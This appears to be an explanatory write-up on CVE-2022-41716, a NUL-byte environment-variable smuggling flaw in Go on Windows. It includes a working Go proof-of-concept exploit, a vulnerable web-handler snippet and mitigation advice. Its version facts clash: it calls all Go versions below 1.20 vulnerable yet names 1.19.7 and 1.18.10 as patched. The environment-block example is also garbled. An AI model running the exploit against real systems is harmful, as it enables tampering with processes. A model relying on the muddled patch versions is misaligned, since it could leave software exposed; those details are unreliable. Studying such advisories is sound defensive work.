In late 2022, a security vulnerability was discovered in Go (Golang) that affects how environment variables are handled on the Windows platform. This critical flaw, catalogued as CVE-2022-41716, allows attackers to smuggle or overwrite environment variables by injecting malicious NUL (\x00) bytes. This can lead to serious consequences, especially for applications that rely on user-provided environment variables or use Windows APIs (syscall.StartProcess and os/exec.Cmd) to spawn new processes.

Background: How Are Environment Variables Handled?

On Windows, environment variables are passed to spawned processes as a specially formatted list of null-terminated strings, ending with two null bytes. For example:

VAR1=value1\VAR2=value2\\

This format means if you can inject a null byte (\x00) inside an environment variable's value, Windows may interpret everything after it as a new variable, but Go’s standard library (pre-patch) overlooked such embedded nulls.

The Root Cause

Go's process-spawning code, like in syscall.StartProcess or os/exec.Cmd, failed to check for null bytes in environment variable values under Windows. If a variable like A=B\x00C=D is accepted, Windows sees it as two environment variables: A=B and C=D.

Why Is This Dangerous?

If your application allows users to set environment variables, and you don't sanitize input, an attacker could set variables the program owner never intended to set. This is called environment variable smuggling.

Exploit Demonstration

Let's see how this can be exploited using Go code. This example works on Windows (and you must use Go <1.20 for this vulnerability; it’s patched in later versions).

package main

import (
    "fmt"
    "os"
    "os/exec"
    "strings"
)

func main() {
    // Simulate untrusted input
    // \x00 is the NUL byte
    maliciousEnv := "A=B\x00C=HACKED"

    // Prepare environment list
    envVars := []string{maliciousEnv, "PATH=" + os.Getenv("PATH")}

    // Start a new process: cmd.exe /c set (prints all env vars)
    cmd := exec.Command("cmd.exe", "/c", "set")
    cmd.Env = envVars

    output, err := cmd.CombinedOutput()
    if err != nil {
        fmt.Println("Error:", err)
        return
    }
    fmt.Println(string(output))
}

Expected Output (key parts)

A=B
C=HACKED
...

Notice how the attacker managed to set and control the value of C!

Real-World Attack Scenario

Suppose your Go web server allows users to trigger background jobs and pass env variables via a web form:

// Dangerous: input directly from user
userEnv := r.FormValue("env") // eg, "FOO=bar"
env := []string{userEnv}

cmd := exec.Command("someHandler.exe")
cmd.Env = env
cmd.Run()

If the user sends A=B\x00RISK=YES, he/she can set RISK=YES in your subprocess, potentially changing its behavior, exploiting further weaknesses, or bypassing controls meant to be protected by env configuration.

References

- Go CVE-2022-41716 Security Advisory
- Go 1.19.7 Release Notes
- Full Patch Discussion
- NVD Entry

How To Mitigate

1. Upgrade Go:  
Update to Go 1.19.7, 1.18.10, or newer. These versions patch the bug by rejecting environment variables with embedded NUL bytes.

2. Sanitize Input:

Always check user-provided strings with

if strings.Contains(input, "\x00") {
    // Reject input
}

3. Validate Environment Variables Manually:
If you must accept external input for environment variables, filter out dangerous characters, especially NUL (\x00).

Conclusion

CVE-2022-41716 is an example of how subtle mishandling of string delimiters and OS-specific quirks can lead to broad security issues. Embedded NUL bytes are often overlooked, but as this shows, they can let attackers escalate privileges or tamper with program behavior.

Best practice: Always sanitize and validate your inputs, especially when they come from users and are used for sensitive process control or configuration.


*Stay safe, keep your dependencies updated, and never trust unsanitized input—NUL byte bugs are more common than you think!*


*Exclusive write-up by [ChatGPT], all rights reserved. For more details, see Go’s official advisory and your security team.*

Timeline

Published on: 11/02/2022 16:15:00 UTC
Last modified on: 11/04/2022 13:16:00 UTC